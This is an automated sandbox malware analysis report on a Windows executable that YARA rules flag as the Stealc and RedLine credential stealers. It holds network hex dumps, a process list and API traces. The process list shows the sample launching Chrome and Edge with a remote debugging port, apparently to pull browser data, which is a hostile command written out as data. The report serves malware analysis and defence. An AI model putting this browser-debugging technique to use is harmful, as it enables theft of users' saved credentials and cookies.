2024-11-07 16:25:41 UTC	16384	IN	Data Raw: 34 82 9b a9 e1 c3 b1 e1 46 87 99 95 55 9a b4 be 3b 59 b1 6b f9 9e 4a 6a 38 c3 9d 71 93 60 68 53 6d 70 93 f4 d8 cb 92 d6 1c 64 0c 55 29 d1 f7 86 61 3a 23 da d5 06 e4 b2 85 18 31 bb 0e 46 71 38 52 33 8f 24 f5 9e 43 1a 6d 32 5a be 90 91 0a d3 47 69 32 eb 74 ec 30 03 b3 0a 2f 45 60 14 c3 56 8c 9b d3 2c f6 4c cc 87 6e 54 d0 da 28 ed 5d 8d 3a 4d 4a aa f1 2e 74 2f 9f 56 e9 a4 49 86 4c 15 33 4f 70 79 ad 9c 27 57 fe 5f f1 b5 af dc 2b a5 7e 6a ff d6 06 bc 0c 5d f6 df fe e1 b9 f2 44 21 e0 ef 42 ef 50 c9 9d 6d c4 b7 e0 a2 c1 1c b4 2f 36 29 c7 0d cd c5 5f 01 b2 80 f3 b0 10 3b 89 01 c5 9d d8 7c 07 2e 18 db 27 d6 4f f2 63 9c b0 f6 f2 ae c9 8b 6c b2 c4 37 76 c1 ad 55 68 26 ab 9f 6e 0d f6 97 8b d0 7b ae f0 47 ed 5d 9f e5 af 8e d0 8d 25 c1 76 f1 dc 48 82 c0 c8 4e c8 12 40 Data Ascii: 4FU;YkJj8q`hSmpdU)a:#1Fq8R3$Cm2ZGi2t0/E`V,LnT(]:MJ.t/VIL3Opy'W_+~j]D!BPm/6)_;\|.'Ocl7vUh&n{G]%vHN@
2024-11-07 16:25:41 UTC	16384	IN	Data Raw: 14 85 b6 9f 56 47 3e e9 1b d3 5f a5 ac 50 c3 87 e4 2f 7d 48 49 98 d9 64 0e 08 ef 71 ff 50 b9 f3 86 37 4a 22 88 52 55 4a 91 92 53 0e 3c c2 3f 65 33 a3 28 fd 5a 9a 2e 91 76 ec f5 34 94 dc 1a 84 a2 be c1 0e 7a 8b 67 39 3e 58 c7 23 2c 7e 30 2a a9 04 8f 00 e5 ea b9 90 8e 19 22 31 4f 88 ac 1a 1f 76 bd 44 ab b4 23 ff 6a 0e 16 d3 4b 19 b1 5f 46 1a 8c 28 02 0b 82 4d 75 9f bc a7 ab d3 c0 ac 12 2c 1a e1 ca 61 62 a5 73 bf 90 ea 26 30 cc b6 60 ae a5 03 4b 60 ea 7c b9 bf 27 e4 0d 14 35 5a 3a 2d d3 09 b2 1d da a4 23 ee 1b c6 42 eb 6f 46 58 98 31 2d 33 81 d2 c7 b9 ea 4a e4 45 53 f8 1b 85 d6 9a f9 1c dd e5 4a cf 08 96 59 af e8 ce 28 b3 02 0e 0d ee 14 62 4a 58 2a 40 44 d3 12 5b 39 93 33 26 50 17 82 cc e2 88 1a 71 ab dd fe 3c 12 6a 79 40 5e 32 8d a6 25 53 15 5e 3f 60 3e a6 Data Ascii: VG>_P/}HIdqP7J"RUJS<?e3(Z.v4zg9>X#,~0"1OvD#jK_F(Mu,abs&0`K`\|'5Z:-#BoFX1-3JESJY(bJX@D[93&Pq<jy@^2%S^?`>

Target ID:	0
Start time:	11:25:05
Start date:	07/11/2024
Path:	C:\Users\user\Desktop\vMRlWtVCEN.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\vMRlWtVCEN.exe"
Imagebase:	0x400000
File size:	683'008 bytes
MD5 hash:	1C49165308A01047A7991781AA319842
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2745630748.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2745630748.0000000002EDF000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2745630748.0000000002EDF000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2234993368.0000000004910000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2743542604.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2745804809.0000000004830000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000000.00000002.2745804809.0000000004830000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.2745485336.0000000002E69000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	11:25:17
Start date:	07/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	11:25:20
Start date:	07/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2152 --field-trial-handle=2044,i,2454326422221536204,14850792707381476085,262144 /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	11:25:30
Start date:	07/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	11:25:30
Start date:	07/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2708 --field-trial-handle=2508,i,6486104539122156540,8403373677948389866,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	11:25:30
Start date:	07/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	11:25:31
Start date:	07/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2280 --field-trial-handle=2244,i,6663700915596374549,9583241739477493961,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	11:25:35
Start date:	07/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=5380 --field-trial-handle=2244,i,6663700915596374549,9583241739477493961,262144 /prefetch:8
Imagebase:	0x7ff6f2da0000
File size:	1'255'976 bytes
MD5 hash:	F8CEC3E43A6305AC9BA3700131594306
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	11:25:36
Start date:	07/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=5380 --field-trial-handle=2244,i,6663700915596374549,9583241739477493961,262144 /prefetch:8
Imagebase:	0x7ff6f2da0000
File size:	1'255'976 bytes
MD5 hash:	F8CEC3E43A6305AC9BA3700131594306
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	11:25:36
Start date:	07/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=7124 --field-trial-handle=2244,i,6663700915596374549,9583241739477493961,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	11:25:36
Start date:	07/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7272 --field-trial-handle=2244,i,6663700915596374549,9583241739477493961,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	11:25:55
Start date:	07/11/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 7160 -s 2340
Imagebase:	0x5a0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	11:26:31
Start date:	07/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6592 --field-trial-handle=2244,i,6663700915596374549,9583241739477493961,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	4.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	5.2%
Total number of Nodes:	2000
Total number of Limit Nodes:	41

Executed Functions

Function 00419F20 Relevance: 203.7, APIs: 112, Strings: 4, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(76210000,02E66360), ref: 00419F3D
GetProcAddress.KERNEL32(76210000,02E66260), ref: 00419F55
GetProcAddress.KERNEL32(76210000,02EDF708), ref: 00419F6E
GetProcAddress.KERNEL32(76210000,02EDF798), ref: 00419F86
GetProcAddress.KERNEL32(76210000,02EDF7C8), ref: 00419F9E
GetProcAddress.KERNEL32(76210000,02EDF780), ref: 00419FB7
GetProcAddress.KERNEL32(76210000,02EE0D60), ref: 00419FCF
GetProcAddress.KERNEL32(76210000,02EDF7B0), ref: 00419FE7
GetProcAddress.KERNEL32(76210000,02EDF738), ref: 0041A000
GetProcAddress.KERNEL32(76210000,02EDF720), ref: 0041A018
GetProcAddress.KERNEL32(76210000,02EDF750), ref: 0041A030
GetProcAddress.KERNEL32(76210000,02E66280), ref: 0041A049
GetProcAddress.KERNEL32(76210000,02E66560), ref: 0041A061
GetProcAddress.KERNEL32(76210000,02E66380), ref: 0041A079
GetProcAddress.KERNEL32(76210000,02E664E0), ref: 0041A092
GetProcAddress.KERNEL32(76210000,02EDF768), ref: 0041A0AA
GetProcAddress.KERNEL32(76210000,02EE4FE8), ref: 0041A0C2
GetProcAddress.KERNEL32(76210000,02EE0CC0), ref: 0041A0DB
GetProcAddress.KERNEL32(76210000,02E663A0), ref: 0041A0F3
GetProcAddress.KERNEL32(76210000,02EE5048), ref: 0041A10B
GetProcAddress.KERNEL32(76210000,02EE5000), ref: 0041A124
GetProcAddress.KERNEL32(76210000,02EE4FB8), ref: 0041A13C
GetProcAddress.KERNEL32(76210000,02EE4FD0), ref: 0041A154
GetProcAddress.KERNEL32(76210000,02E66500), ref: 0041A16D
GetProcAddress.KERNEL32(76210000,02EE5018), ref: 0041A185
GetProcAddress.KERNEL32(76210000,02EE5060), ref: 0041A19D
GetProcAddress.KERNEL32(76210000,02EE5030), ref: 0041A1B6
GetProcAddress.KERNEL32(76210000,02EE5078), ref: 0041A1CE
GetProcAddress.KERNEL32(76210000,02EE4EC8), ref: 0041A1E6
GetProcAddress.KERNEL32(76210000,02EE4CD0), ref: 0041A1FF
GetProcAddress.KERNEL32(76210000,02EE4EF8), ref: 0041A217
GetProcAddress.KERNEL32(76210000,02EE4DC0), ref: 0041A22F
GetProcAddress.KERNEL32(76210000,02EE4F70), ref: 0041A248
GetProcAddress.KERNEL32(76210000,02EE1F00), ref: 0041A260
GetProcAddress.KERNEL32(76210000,02EE4F88), ref: 0041A278
GetProcAddress.KERNEL32(76210000,02EE4E50), ref: 0041A291
GetProcAddress.KERNEL32(76210000,02E66440), ref: 0041A2A9
GetProcAddress.KERNEL32(76210000,02EE4E98), ref: 0041A2C1
GetProcAddress.KERNEL32(76210000,02E66580), ref: 0041A2DA
GetProcAddress.KERNEL32(76210000,02EE4D00), ref: 0041A2F2
GetProcAddress.KERNEL32(76210000,02EE4F10), ref: 0041A30A
GetProcAddress.KERNEL32(76210000,02E66460), ref: 0041A323
GetProcAddress.KERNEL32(76210000,02E661E0), ref: 0041A33B
LoadLibraryA.KERNEL32(02EE4F28,?,00415EF3,?,00000034,00000064,004168A0,?,0000002C,00000064,00416840,?,0000003C,00000064,004167B0,?), ref: 0041A34D
LoadLibraryA.KERNEL32(02EE4E80,?,00415EF3,?,00000034,00000064,004168A0,?,0000002C,00000064,00416840,?,0000003C,00000064,004167B0,?), ref: 0041A35E
LoadLibraryA.KERNEL32(02EE4DF0,?,00415EF3,?,00000034,00000064,004168A0,?,0000002C,00000064,00416840,?,0000003C,00000064,004167B0,?), ref: 0041A370
LoadLibraryA.KERNEL32(02EE4D48,?,00415EF3,?,00000034,00000064,004168A0,?,0000002C,00000064,00416840,?,0000003C,00000064,004167B0,?), ref: 0041A382
LoadLibraryA.KERNEL32(02EE4FA0,?,00415EF3,?,00000034,00000064,004168A0,?,0000002C,00000064,00416840,?,0000003C,00000064,004167B0,?), ref: 0041A393
LoadLibraryA.KERNEL32(02EE4F40,?,00415EF3,?,00000034,00000064,004168A0,?,0000002C,00000064,00416840,?,0000003C,00000064,004167B0,?), ref: 0041A3A5
LoadLibraryA.KERNEL32(02EE4CB8,?,00415EF3,?,00000034,00000064,004168A0,?,0000002C,00000064,00416840,?,0000003C,00000064,004167B0,?), ref: 0041A3B7
LoadLibraryA.KERNEL32(02EE4F58,?,00415EF3,?,00000034,00000064,004168A0,?,0000002C,00000064,00416840,?,0000003C,00000064,004167B0,?), ref: 0041A3C8
GetProcAddress.KERNEL32(751E0000,02E66200), ref: 0041A3EA
GetProcAddress.KERNEL32(751E0000,02EE4D60), ref: 0041A402
GetProcAddress.KERNEL32(751E0000,02EDFBD0), ref: 0041A41A
GetProcAddress.KERNEL32(751E0000,02EE4EB0), ref: 0041A433
GetProcAddress.KERNEL32(751E0000,02E65E00), ref: 0041A44B
GetProcAddress.KERNEL32(70170000,02EE10F8), ref: 0041A470
GetProcAddress.KERNEL32(70170000,02E65E60), ref: 0041A489
GetProcAddress.KERNEL32(70170000,02EE0E78), ref: 0041A4A1
GetProcAddress.KERNEL32(70170000,02EE4EE0), ref: 0041A4B9
GetProcAddress.KERNEL32(70170000,02EE4CE8), ref: 0041A4D2
GetProcAddress.KERNEL32(70170000,02E66080), ref: 0041A4EA
GetProcAddress.KERNEL32(70170000,02E66180), ref: 0041A502
GetProcAddress.KERNEL32(70170000,02EE4DD8), ref: 0041A51B
GetProcAddress.KERNEL32(753A0000,02E65DE0), ref: 0041A53C
GetProcAddress.KERNEL32(753A0000,02E66040), ref: 0041A554
GetProcAddress.KERNEL32(753A0000,02EE4E20), ref: 0041A56D
GetProcAddress.KERNEL32(753A0000,02EE4E08), ref: 0041A585
GetProcAddress.KERNEL32(753A0000,02E66140), ref: 0041A59D
GetProcAddress.KERNEL32(76310000,02EE0E28), ref: 0041A5C3
GetProcAddress.KERNEL32(76310000,02EE0CE8), ref: 0041A5DB
GetProcAddress.KERNEL32(76310000,02EE4D90), ref: 0041A5F3
GetProcAddress.KERNEL32(76310000,02E65E40), ref: 0041A60C
GetProcAddress.KERNEL32(76310000,02E661A0), ref: 0041A624
GetProcAddress.KERNEL32(76310000,02EE0F18), ref: 0041A63C
GetProcAddress.KERNEL32(76910000,02EE4D18), ref: 0041A662
GetProcAddress.KERNEL32(76910000,02E65EE0), ref: 0041A67A
GetProcAddress.KERNEL32(76910000,02EDFB00), ref: 0041A692
GetProcAddress.KERNEL32(76910000,02EE4D30), ref: 0041A6AB
GetProcAddress.KERNEL32(76910000,02EE4D78), ref: 0041A6C3
GetProcAddress.KERNEL32(76910000,02E66020), ref: 0041A6DB
GetProcAddress.KERNEL32(76910000,02E65F80), ref: 0041A6F4
GetProcAddress.KERNEL32(76910000,02EE4E38), ref: 0041A70C
GetProcAddress.KERNEL32(76910000,02EE4DA8), ref: 0041A724
GetProcAddress.KERNEL32(75B30000,02E65F00), ref: 0041A746
GetProcAddress.KERNEL32(75B30000,02EE4E68), ref: 0041A75E
GetProcAddress.KERNEL32(75B30000,02EE5348), ref: 0041A776
GetProcAddress.KERNEL32(75B30000,02EE5390), ref: 0041A78F
GetProcAddress.KERNEL32(75B30000,02EE5228), ref: 0041A7A7
GetProcAddress.KERNEL32(75670000,02E65EC0), ref: 0041A7C8
GetProcAddress.KERNEL32(75670000,02E66160), ref: 0041A7E1
GetProcAddress.KERNEL32(76AC0000,02E66060), ref: 0041A802
GetProcAddress.KERNEL32(76AC0000,02EE53A8), ref: 0041A81A
GetProcAddress.KERNEL32(6F4E0000,02E660A0), ref: 0041A840
GetProcAddress.KERNEL32(6F4E0000,02E661C0), ref: 0041A858
GetProcAddress.KERNEL32(6F4E0000,02E65E20), ref: 0041A870
GetProcAddress.KERNEL32(6F4E0000,02EE5198), ref: 0041A889
GetProcAddress.KERNEL32(6F4E0000,02E65E80), ref: 0041A8A1
GetProcAddress.KERNEL32(6F4E0000,02E65EA0), ref: 0041A8B9
GetProcAddress.KERNEL32(6F4E0000,02E66120), ref: 0041A8D2
GetProcAddress.KERNEL32(6F4E0000,02E65F20), ref: 0041A8EA
GetProcAddress.KERNEL32(6F4E0000,InternetSetOptionA), ref: 0041A901
GetProcAddress.KERNEL32(6F4E0000,HttpQueryInfoA), ref: 0041A917
GetProcAddress.KERNEL32(75AE0000,02EE52D0), ref: 0041A939
GetProcAddress.KERNEL32(75AE0000,02EDFA60), ref: 0041A951
GetProcAddress.KERNEL32(75AE0000,02EE5360), ref: 0041A969
GetProcAddress.KERNEL32(75AE0000,02EE51E0), ref: 0041A982
GetProcAddress.KERNEL32(76300000,02E65F40), ref: 0041A9A3
GetProcAddress.KERNEL32(6FE40000,02EE52E8), ref: 0041A9C4
GetProcAddress.KERNEL32(6FE40000,02E65FA0), ref: 0041A9DD
GetProcAddress.KERNEL32(6FE40000,02EE5258), ref: 0041A9F5
GetProcAddress.KERNEL32(6FE40000,02EE50F0), ref: 0041AA0D

Strings

InternetSetOptionA, xrefs: 0041A8F5
P2#v, xrefs: 0041A12A
HttpQueryInfoA, xrefs: 0041A90C
1#v, xrefs: 0041A21D

Memory Dump Source

Source File: 00000000.00000002.2743542604.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2743542604.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2743542604.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vMRlWtVCEN.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA$P2#v$1#v
API String ID: 2238633743-3014924196
Opcode ID: 20b608565022329c8e522603aeb206678cdaef6a3851366fd54475d7f707e8f0
Instruction ID: fc853244e6edf76f870e234c3061c456cb9d9aaab695e8dd72f65461d71d1d70
Opcode Fuzzy Hash: 20b608565022329c8e522603aeb206678cdaef6a3851366fd54475d7f707e8f0
Instruction Fuzzy Hash: 98623EB5D1B2549FC344DFA8FC8895677BBA78D301318A61BF909C3674E734A640CB62

Function 00404610 Relevance: 112.1, APIs: 34, Strings: 30, Instructions: 114
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,00416C9B), ref: 0040461C
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,00416C9B), ref: 00404627
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,00416C9B), ref: 00404632
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,00416C9B), ref: 0040463D
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,00416C9B), ref: 00404648
GetProcessHeap.KERNEL32(00000000,?,?,0000000F,?,00416C9B), ref: 00404657
RtlAllocateHeap.NTDLL(00000000,?,0000000F,?,00416C9B), ref: 0040465E
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,00416C9B), ref: 0040466C
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,00416C9B), ref: 00404677
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,00416C9B), ref: 00404682
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,00416C9B), ref: 0040468D
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,00416C9B), ref: 00404698
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,00416C9B), ref: 004046AC
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,00416C9B), ref: 004046B7
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,00416C9B), ref: 004046C2
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,00416C9B), ref: 004046CD
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,00416C9B), ref: 004046D8
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404701
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040470C
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404717
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404722
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040472D
strlen.MSVCRT ref: 00404740
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404768
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404773
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040477E
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404789
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404794
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004047A4
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004047AF
